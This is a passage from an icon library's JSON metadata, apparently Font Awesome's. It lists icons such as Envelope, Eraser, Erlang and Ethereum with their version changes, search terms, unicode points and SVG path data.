46.8-5.6 59.7C187.7 319.4 203 318 203 318s8.3 2.4 15-21.2 19.6-49.9 19.6-49.9h1.6s-5.6 48.1 3 63.7 30.9 5.3 30.9 5.3 15.6-7.8 18-10.2c0 0 18.5 15.8 44.6 12.9 58.3-11.5 79.1-25.9 79.1-25.9s10 24.4 41.1 26.7c35.5 2.7 54.8-18.6 54.8-18.6s-.3 13.5 12.1 18.6 20.7-22.8 20.7-22.8l20.7-57.2h1.9s1.1 37.3 21.5 43.2 47-13.7 47-13.7 6.4-3.5 5.3-14.3zm-578 5.3c.8-32 21.8-45.9 29-39 7.3 7 4.6 22-9.1 31.4-13.7 9.5-19.9 7.6-19.9 7.6zm272.8-123.8s19.1-49.7 23.6-25.5-40 96.2-40 96.2c.5-16.2 16.4-70.7 16.4-70.7zm22.8 138.4c-12.6 33-43.3 19.6-43.3 19.6s-3.5-11.8 6.4-44.9 33.3-20.2 33.3-20.2 16.2 12.4 3.6 45.5zm84.6-14.6s-3-10.5 8.1-30.6c11-20.2 19.6-9.1 19.6-9.1s9.4 10.2-1.3 25.5-26.4 14.2-26.4 14.2z"
      }
    },
    "free": ["brands"]
  },
  "empire": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1d1",
    "label": "Galactic Empire",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M287.6 54.2c-10.8-2.2-22.1-3.3-33.5-3.6V32.4c78.1 2.2 146.1 44 184.6 106.6l-15.8 9.1c-6.1-9.7-12.7-18.8-20.2-27.1l-18 15.5c-26-29.6-61.4-50.7-101.9-58.4l4.8-23.9zM53.4 322.4l23-7.7c-6.4-18.3-10-38.2-10-58.7s3.3-40.4 9.7-58.7l-22.7-7.7c3.6-10.8 8.3-21.3 13.6-31l-15.8-9.1C34 181 24.1 217.5 24.1 256s10 75 27.1 106.6l15.8-9.1c-5.3-10-9.7-20.3-13.6-31.1zM213.1 434c-40.4-8-75.8-29.1-101.9-58.7l-18 15.8c-7.5-8.6-14.4-17.7-20.2-27.4l-16 9.4c38.5 62.3 106.8 104.3 184.9 106.6v-18.3c-11.3-.3-22.7-1.7-33.5-3.6l4.7-23.8zM93.3 120.9l18 15.5c26-29.6 61.4-50.7 101.9-58.4l-4.7-23.8c10.8-2.2 22.1-3.3 33.5-3.6V32.4C163.9 34.6 95.9 76.4 57.4 139l15.8 9.1c6-9.7 12.6-18.9 20.1-27.2zm309.4 270.2l-18-15.8c-26 29.6-61.4 50.7-101.9 58.7l4.7 23.8c-10.8 1.9-22.1 3.3-33.5 3.6v18.3c78.1-2.2 146.4-44.3 184.9-106.6l-16.1-9.4c-5.7 9.7-12.6 18.8-20.1 27.4zM496 256c0 137-111 248-248 248S0 393 0 256 111 8 248 8s248 111 248 248zm-12.2 0c0-130.1-105.7-235.8-235.8-235.8S12.2 125.9 12.2 256 117.9 491.8 248 491.8 483.8 386.1 483.8 256zm-39-106.6l-15.8 9.1c5.3 9.7 10 20.2 13.6 31l-22.7 7.7c6.4 18.3 9.7 38.2 9.7 58.7s-3.6 40.4-10 58.7l23 7.7c-3.9 10.8-8.3 21-13.6 31l15.8 9.1C462 331 471.9 294.5 471.9 256s-9.9-75-27.1-106.6zm-183 177.7c16.3-3.3 30.4-11.6 40.7-23.5l51.2 44.8c11.9-13.6 21.3-29.3 27.1-46.8l-64.2-22.1c2.5-7.5 3.9-15.2 3.9-23.5s-1.4-16.1-3.9-23.5l64.5-22.1c-6.1-17.4-15.5-33.2-27.4-46.8l-51.2 44.8c-10.2-11.9-24.4-20.5-40.7-23.8l13.3-66.4c-8.6-1.9-17.7-2.8-27.1-2.8-9.4 0-18.5.8-27.1 2.8l13.3 66.4c-16.3 3.3-30.4 11.9-40.7 23.8l-51.2-44.8c-11.9 13.6-21.3 29.3-27.4 46.8l64.5 22.1c-2.5 7.5-3.9 15.2-3.9 23.5s1.4 16.1 3.9 23.5l-64.2 22.1c5.8 17.4 15.2 33.2 27.1 46.8l51.2-44.8c10.2 11.9 24.4 20.2 40.7 23.5l-13.3 66.7c8.6 1.7 17.7 2.8 27.1 2.8 9.4 0 18.5-1.1 27.1-2.8l-13.3-66.7z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M287.6 54.2c-10.8-2.2-22.1-3.3-33.5-3.6V32.4c78.1 2.2 146.1 44 184.6 106.6l-15.8 9.1c-6.1-9.7-12.7-18.8-20.2-27.1l-18 15.5c-26-29.6-61.4-50.7-101.9-58.4l4.8-23.9zM53.4 322.4l23-7.7c-6.4-18.3-10-38.2-10-58.7s3.3-40.4 9.7-58.7l-22.7-7.7c3.6-10.8 8.3-21.3 13.6-31l-15.8-9.1C34 181 24.1 217.5 24.1 256s10 75 27.1 106.6l15.8-9.1c-5.3-10-9.7-20.3-13.6-31.1zM213.1 434c-40.4-8-75.8-29.1-101.9-58.7l-18 15.8c-7.5-8.6-14.4-17.7-20.2-27.4l-16 9.4c38.5 62.3 106.8 104.3 184.9 106.6v-18.3c-11.3-.3-22.7-1.7-33.5-3.6l4.7-23.8zM93.3 120.9l18 15.5c26-29.6 61.4-50.7 101.9-58.4l-4.7-23.8c10.8-2.2 22.1-3.3 33.5-3.6V32.4C163.9 34.6 95.9 76.4 57.4 139l15.8 9.1c6-9.7 12.6-18.9 20.1-27.2zm309.4 270.2l-18-15.8c-26 29.6-61.4 50.7-101.9 58.7l4.7 23.8c-10.8 1.9-22.1 3.3-33.5 3.6v18.3c78.1-2.2 146.4-44.3 184.9-106.6l-16.1-9.4c-5.7 9.7-12.6 18.8-20.1 27.4zM496 256c0 137-111 248-248 248S0 393 0 256 111 8 248 8s248 111 248 248zm-12.2 0c0-130.1-105.7-235.8-235.8-235.8S12.2 125.9 12.2 256 117.9 491.8 248 491.8 483.8 386.1 483.8 256zm-39-106.6l-15.8 9.1c5.3 9.7 10 20.2 13.6 31l-22.7 7.7c6.4 18.3 9.7 38.2 9.7 58.7s-3.6 40.4-10 58.7l23 7.7c-3.9 10.8-8.3 21-13.6 31l15.8 9.1C462 331 471.9 294.5 471.9 256s-9.9-75-27.1-106.6zm-183 177.7c16.3-3.3 30.4-11.6 40.7-23.5l51.2 44.8c11.9-13.6 21.3-29.3 27.1-46.8l-64.2-22.1c2.5-7.5 3.9-15.2 3.9-23.5s-1.4-16.1-3.9-23.5l64.5-22.1c-6.1-17.4-15.5-33.2-27.4-46.8l-51.2 44.8c-10.2-11.9-24.4-20.5-40.7-23.8l13.3-66.4c-8.6-1.9-17.7-2.8-27.1-2.8-9.4 0-18.5.8-27.1 2.8l13.3 66.4c-16.3 3.3-30.4 11.9-40.7 23.8l-51.2-44.8c-11.9 13.6-21.3 29.3-27.4 46.8l64.5 22.1c-2.5 7.5-3.9 15.2-3.9 23.5s1.4 16.1 3.9 23.5l-64.2 22.1c5.8 17.4 15.2 33.2 27.1 46.8l51.2-44.8c10.2 11.9 24.4 20.2 40.7 23.5l-13.3 66.7c8.6 1.7 17.7 2.8 27.1 2.8 9.4 0 18.5-1.1 27.1-2.8l-13.3-66.7z"
      }
    },
    "free": ["brands"]
  },
  "envelope": {
    "aliases": {
      "unicodes": {
        "composite": ["1f582", "2709", "f003"],
        "secondary": ["10f0e0"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Back of Envelope",
        "e-mail",
        "email",
        "envelope",
        "letter",
        "mail",
        "message",
        "notification",
        "support"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0e0",
    "label": "Envelope",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M48 64C21.5 64 0 85.5 0 112c0 15.1 7.1 29.3 19.2 38.4L236.8 313.6c11.4 8.5 27 8.5 38.4 0L492.8 150.4c12.1-9.1 19.2-23.3 19.2-38.4c0-26.5-21.5-48-48-48H48zM0 176V384c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V176L294.4 339.2c-22.8 17.1-54 17.1-76.8 0L0 176z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M48 64C21.5 64 0 85.5 0 112c0 15.1 7.1 29.3 19.2 38.4L236.8 313.6c11.4 8.5 27 8.5 38.4 0L492.8 150.4c12.1-9.1 19.2-23.3 19.2-38.4c0-26.5-21.5-48-48-48H48zM0 176V384c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V176L294.4 339.2c-22.8 17.1-54 17.1-76.8 0L0 176z"
      },
      "regular": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 112c-8.8 0-16 7.2-16 16v22.1L220.5 291.7c20.7 17 50.4 17 71.1 0L464 150.1V128c0-8.8-7.2-16-16-16H64zM48 212.2V384c0 8.8 7.2 16 16 16H448c8.8 0 16-7.2 16-16V212.2L322 328.8c-38.4 31.5-93.7 31.5-132 0L48 212.2zM0 128C0 92.7 28.7 64 64 64H448c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 112c-8.8 0-16 7.2-16 16v22.1L220.5 291.7c20.7 17 50.4 17 71.1 0L464 150.1V128c0-8.8-7.2-16-16-16H64zM48 212.2V384c0 8.8 7.2 16 16 16H448c8.8 0 16-7.2 16-16V212.2L322 328.8c-38.4 31.5-93.7 31.5-132 0L48 212.2zM0 128C0 92.7 28.7 64 64 64H448c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128z"
      }
    },
    "free": ["regular", "solid"]
  },
  "envelope-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "check",
        "email",
        "envelope",
        "mail",
        "not affected",
        "ok",
        "okay",
        "read",
        "sent"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4e8",
    "label": "Envelope Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 64C21.5 64 0 85.5 0 112c0 15.1 7.1 29.3 19.2 38.4L236.8 313.6c11.4 8.5 27 8.5 38.4 0l57.4-43c23.9-59.8 79.7-103.3 146.3-109.8l13.9-10.4c12.1-9.1 19.2-23.3 19.2-38.4c0-26.5-21.5-48-48-48H48zM294.4 339.2c-22.8 17.1-54 17.1-76.8 0L0 176V384c0 35.3 28.7 64 64 64H360.2C335.1 417.6 320 378.5 320 336c0-5.6 .3-11.1 .8-16.6l-26.4 19.8zM640 336a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 353.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 64C21.5 64 0 85.5 0 112c0 15.1 7.1 29.3 19.2 38.4L236.8 313.6c11.4 8.5 27 8.5 38.4 0l57.4-43c23.9-59.8 79.7-103.3 146.3-109.8l13.9-10.4c12.1-9.1 19.2-23.3 19.2-38.4c0-26.5-21.5-48-48-48H48zM294.4 339.2c-22.8 17.1-54 17.1-76.8 0L0 176V384c0 35.3 28.7 64 64 64H360.2C335.1 417.6 320 378.5 320 336c0-5.6 .3-11.1 .8-16.6l-26.4 19.8zM640 336a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 353.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "envelope-open": {
    "aliases": {
      "unicodes": {
        "composite": ["f2b7"],
        "secondary": ["10f2b6"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "e-mail",
        "email",
        "letter",
        "mail",
        "message",
        "notification",
        "support"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2b6",
    "label": "Envelope Open",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 208.1L256 65.9 448 208.1v47.4L289.5 373c-9.7 7.2-21.4 11-33.5 11s-23.8-3.9-33.5-11L64 255.5V208.1zM256 0c-12.1 0-23.8 3.9-33.5 11L25.9 156.7C9.6 168.8 0 187.8 0 208.1V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V208.1c0-20.3-9.6-39.4-25.9-51.4L289.5 11C279.8 3.9 268.1 0 256 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 208.1L256 65.9 448 208.1v47.4L289.5 373c-9.7 7.2-21.4 11-33.5 11s-23.8-3.9-33.5-11L64 255.5V208.1zM256 0c-12.1 0-23.8 3.9-33.5 11L25.9 156.7C9.6 168.8 0 187.8 0 208.1V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V208.1c0-20.3-9.6-39.4-25.9-51.4L289.5 11C279.8 3.9 268.1 0 256 0z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M255.4 48.2c.2-.1 .4-.2 .6-.2s.4 .1 .6 .2L460.6 194c2.1 1.5 3.4 3.9 3.4 6.5v13.6L291.5 355.7c-20.7 17-50.4 17-71.1 0L48 214.1V200.5c0-2.6 1.2-5 3.4-6.5L255.4 48.2zM48 276.2L190 392.8c38.4 31.5 93.7 31.5 132 0L464 276.2V456c0 4.4-3.6 8-8 8H56c-4.4 0-8-3.6-8-8V276.2zM256 0c-10.2 0-20.2 3.2-28.5 9.1L23.5 154.9C8.7 165.4 0 182.4 0 200.5V456c0 30.9 25.1 56 56 56H456c30.9 0 56-25.1 56-56V200.5c0-18.1-8.7-35.1-23.4-45.6L284.5 9.1C276.2 3.2 266.2 0 256 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M255.4 48.2c.2-.1 .4-.2 .6-.2s.4 .1 .6 .2L460.6 194c2.1 1.5 3.4 3.9 3.4 6.5v13.6L291.5 355.7c-20.7 17-50.4 17-71.1 0L48 214.1V200.5c0-2.6 1.2-5 3.4-6.5L255.4 48.2zM48 276.2L190 392.8c38.4 31.5 93.7 31.5 132 0L464 276.2V456c0 4.4-3.6 8-8 8H56c-4.4 0-8-3.6-8-8V276.2zM256 0c-10.2 0-20.2 3.2-28.5 9.1L23.5 154.9C8.7 165.4 0 182.4 0 200.5V456c0 30.9 25.1 56 56 56H456c30.9 0 56-25.1 56-56V200.5c0-18.1-8.7-35.1-23.4-45.6L284.5 9.1C276.2 3.2 266.2 0 256 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "envelope-open-text": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f658"]
      }
    },
    "changes": [
      "5.3.0",
      "5.10.1",
      "5.12.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "e-mail",
        "email",
        "letter",
        "mail",
        "message",
        "notification",
        "support"
      ]
    },
    "styles": ["solid"],
    "unicode": "f658",
    "label": "Envelope Open Text",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M215.4 96H144 107.8 96v8.8V144v40.4 89L.2 202.5c1.6-18.1 10.9-34.9 25.7-45.8L48 140.3V96c0-26.5 21.5-48 48-48h76.6l49.9-36.9C232.2 3.9 243.9 0 256 0s23.8 3.9 33.5 11L339.4 48H416c26.5 0 48 21.5 48 48v44.3l22.1 16.4c14.8 10.9 24.1 27.7 25.7 45.8L416 273.4v-89V144 104.8 96H404.2 368 296.6 215.4zM0 448V242.1L217.6 403.3c11.1 8.2 24.6 12.7 38.4 12.7s27.3-4.4 38.4-12.7L512 242.1V448v0c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64v0zM176 160H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M215.4 96H144 107.8 96v8.8V144v40.4 89L.2 202.5c1.6-18.1 10.9-34.9 25.7-45.8L48 140.3V96c0-26.5 21.5-48 48-48h76.6l49.9-36.9C232.2 3.9 243.9 0 256 0s23.8 3.9 33.5 11L339.4 48H416c26.5 0 48 21.5 48 48v44.3l22.1 16.4c14.8 10.9 24.1 27.7 25.7 45.8L416 273.4v-89V144 104.8 96H404.2 368 296.6 215.4zM0 448V242.1L217.6 403.3c11.1 8.2 24.6 12.7 38.4 12.7s27.3-4.4 38.4-12.7L512 242.1V448v0c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64v0zM176 160H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H336c8.8 0 16 7.2 16 16s-7.2 16-16 16H176c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "envelopes-bulk": {
    "aliases": {
      "names": ["mail-bulk"],
      "unicodes": {
        "secondary": ["10f674"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "archive",
        "envelope",
        "letter",
        "post office",
        "postal",
        "postcard",
        "send",
        "stamp",
        "usps"
      ]
    },
    "styles": ["solid"],
    "unicode": "f674",
    "label": "Envelopes Bulk",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M128 0C110.3 0 96 14.3 96 32V224h96V192c0-35.3 28.7-64 64-64H480V32c0-17.7-14.3-32-32-32H128zM256 160c-17.7 0-32 14.3-32 32v32h96c35.3 0 64 28.7 64 64V416H576c17.7 0 32-14.3 32-32V192c0-17.7-14.3-32-32-32H256zm240 64h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H496c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zM64 256c-17.7 0-32 14.3-32 32v13L187.1 415.9c1.4 1 3.1 1.6 4.9 1.6s3.5-.6 4.9-1.6L352 301V288c0-17.7-14.3-32-32-32H64zm288 84.8L216 441.6c-6.9 5.1-15.3 7.9-24 7.9s-17-2.8-24-7.9L32 340.8V480c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V340.8z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M128 0C110.3 0 96 14.3 96 32V224h96V192c0-35.3 28.7-64 64-64H480V32c0-17.7-14.3-32-32-32H128zM256 160c-17.7 0-32 14.3-32 32v32h96c35.3 0 64 28.7 64 64V416H576c17.7 0 32-14.3 32-32V192c0-17.7-14.3-32-32-32H256zm240 64h32c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H496c-8.8 0-16-7.2-16-16V240c0-8.8 7.2-16 16-16zM64 256c-17.7 0-32 14.3-32 32v13L187.1 415.9c1.4 1 3.1 1.6 4.9 1.6s3.5-.6 4.9-1.6L352 301V288c0-17.7-14.3-32-32-32H64zm288 84.8L216 441.6c-6.9 5.1-15.3 7.9-24 7.9s-17-2.8-24-7.9L32 340.8V480c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V340.8z"
      }
    },
    "free": ["solid"]
  },
  "envira": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": ["leaf"]
    },
    "styles": ["brands"],
    "unicode": "f299",
    "label": "Envira Gallery",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32c477.6 0 366.6 317.3 367.1 366.3L448 480h-26l-70.4-71.2c-39 4.2-124.4 34.5-214.4-37C47 300.3 52 214.7 0 32zm79.7 46c-49.7-23.5-5.2 9.2-5.2 9.2 45.2 31.2 66 73.7 90.2 119.9 31.5 60.2 79 139.7 144.2 167.7 65 28 34.2 12.5 6-8.5-28.2-21.2-68.2-87-91-130.2-31.7-60-61-118.6-144.2-158.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32c477.6 0 366.6 317.3 367.1 366.3L448 480h-26l-70.4-71.2c-39 4.2-124.4 34.5-214.4-37C47 300.3 52 214.7 0 32zm79.7 46c-49.7-23.5-5.2 9.2-5.2 9.2 45.2 31.2 66 73.7 90.2 119.9 31.5 60.2 79 139.7 144.2 167.7 65 28 34.2 12.5 6-8.5-28.2-21.2-68.2-87-91-130.2-31.7-60-61-118.6-144.2-158.1z"
      }
    },
    "free": ["brands"]
  },
  "equals": {
    "aliases": {
      "unicodes": {
        "composite": ["f52c"],
        "primary": ["f52c"],
        "secondary": ["103d", "10f52c"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Equals Sign", "arithmetic", "even", "match", "math"]
    },
    "styles": ["solid"],
    "unicode": "3d",
    "label": "Equals",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M48 128c-17.7 0-32 14.3-32 32s14.3 32 32 32H400c17.7 0 32-14.3 32-32s-14.3-32-32-32H48zm0 192c-17.7 0-32 14.3-32 32s14.3 32 32 32H400c17.7 0 32-14.3 32-32s-14.3-32-32-32H48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M48 128c-17.7 0-32 14.3-32 32s14.3 32 32 32H400c17.7 0 32-14.3 32-32s-14.3-32-32-32H48zm0 192c-17.7 0-32 14.3-32 32s14.3 32 32 32H400c17.7 0 32-14.3 32-32s-14.3-32-32-32H48z"
      }
    },
    "free": ["solid"]
  },
  "eraser": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f12d"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.8.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["art", "delete", "remove", "rubber"]
    },
    "styles": ["solid"],
    "unicode": "f12d",
    "label": "Eraser",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767367,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M290.7 57.4L57.4 290.7c-25 25-25 65.5 0 90.5l80 80c12 12 28.3 18.7 45.3 18.7H288h9.4H512c17.7 0 32-14.3 32-32s-14.3-32-32-32H387.9L518.6 285.3c25-25 25-65.5 0-90.5L381.3 57.4c-25-25-65.5-25-90.5 0zM297.4 416H288l-105.4 0-80-80L227.3 211.3 364.7 348.7 297.4 416z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M290.7 57.4L57.4 290.7c-25 25-25 65.5 0 90.5l80 80c12 12 28.3 18.7 45.3 18.7H288h9.4H512c17.7 0 32-14.3 32-32s-14.3-32-32-32H387.9L518.6 285.3c25-25 25-65.5 0-90.5L381.3 57.4c-25-25-65.5-25-90.5 0zM297.4 416H288l-105.4 0-80-80L227.3 211.3 364.7 348.7 297.4 416z"
      }
    },
    "free": ["solid"]
  },
  "erlang": {
    "changes": ["5.0.0", "5.0.3", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f39d",
    "label": "Erlang",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M87.2 53.5H0v405h100.4c-49.7-52.6-78.8-125.3-78.7-212.1-.1-76.7 24-142.7 65.5-192.9zm238.2 9.7c-45.9.1-85.1 33.5-89.2 83.2h169.9c-1.1-49.7-34.5-83.1-80.7-83.2zm230.7-9.6h.3l-.1-.1zm.3 0c31.4 42.7 48.7 97.5 46.2 162.7.5 6 .5 11.7 0 24.1H230.2c-.2 109.7 38.9 194.9 138.6 195.3 68.5-.3 118-51 151.9-106.1l96.4 48.2c-17.4 30.9-36.5 57.8-57.9 80.8H640v-405z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M87.2 53.5H0v405h100.4c-49.7-52.6-78.8-125.3-78.7-212.1-.1-76.7 24-142.7 65.5-192.9zm238.2 9.7c-45.9.1-85.1 33.5-89.2 83.2h169.9c-1.1-49.7-34.5-83.1-80.7-83.2zm230.7-9.6h.3l-.1-.1zm.3 0c31.4 42.7 48.7 97.5 46.2 162.7.5 6 .5 11.7 0 24.1H230.2c-.2 109.7 38.9 194.9 138.6 195.3 68.5-.3 118-51 151.9-106.1l96.4 48.2c-17.4 30.9-36.5 57.8-57.9 80.8H640v-405z"
      }
    },
    "free": ["brands"]
  },
  "ethereum": {
    "changes": ["5.0.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f42e",
    "label": "Ethereum",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M311.9 260.8L160 353.6 8 260.8 160 0l151.9 260.8zM160 383.4L8 290.6 160 512l152-221.4-152 92.8z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M311.9 260.8L160 353.6 8 260.8 160 0l151.9 260.8zM160 383.4L8 290.6 160 512l152-221.4-152 92.8z"
      }
    },
    "free": ["brands"]
  },
  "ethernet": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f796"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cable",
        "cat 5",
        "cat 6",
        "connection",
        "hardware",
        "internet",
        "network",
        "wired"
      ]
    },
    "styles": ["solid"],
    "unicode": "f796",
    "label": "Ethernet",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 224V416c0 17.7 14.3 32 32 32H96V336c0-8.8 7.2-16 16-16s16 7.2 16 16V448h64V336c0-8.8 7.2-16 16-16s16 7.2 16 16V448h64V336c0-8.8 7.2-16 16-16s16 7.2 16 16V448h64V336c0-8.8 7.2-16 16-16s16 7.2 16 16V448h64c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32H448V160c0-17.7-14.3-32-32-32H384V96c0-17.7-14.3-32-32-32H160c-17.7 0-32 14.3-32 32v32H96c-17.7 0-32 14.3-32 32v32H32c-17.7 0-32 14.3-32 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 224V416c0 17.7 14.3 32 32 32H96V336c0-8.8 7.2-16 16-16s16 7.2 16 16V448h64V336c0-8.8 7.2-16 16-16s16 7.2 16 16V448h64V336c0-8.8 7.2-16 16-16s16 7.2 16 16V448h64V336c0-8.8 7.2-16 16-16s16 7.2 16 16V448h64c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32H448V160c0-17.7-14.3-32-32-32H384V96c0-17.7-14.3-32-32-32H160c-17.7 0-32 14.3-32 32v32H96c-17.7 0-32 14.3-32 32v32H32c-17.7 0-32 14.3-32 32z"
      }
    },
    "free": ["solid"]
  },
  "etsy": {
    "changes": ["4.7.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2d7",
    "label": "Etsy",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
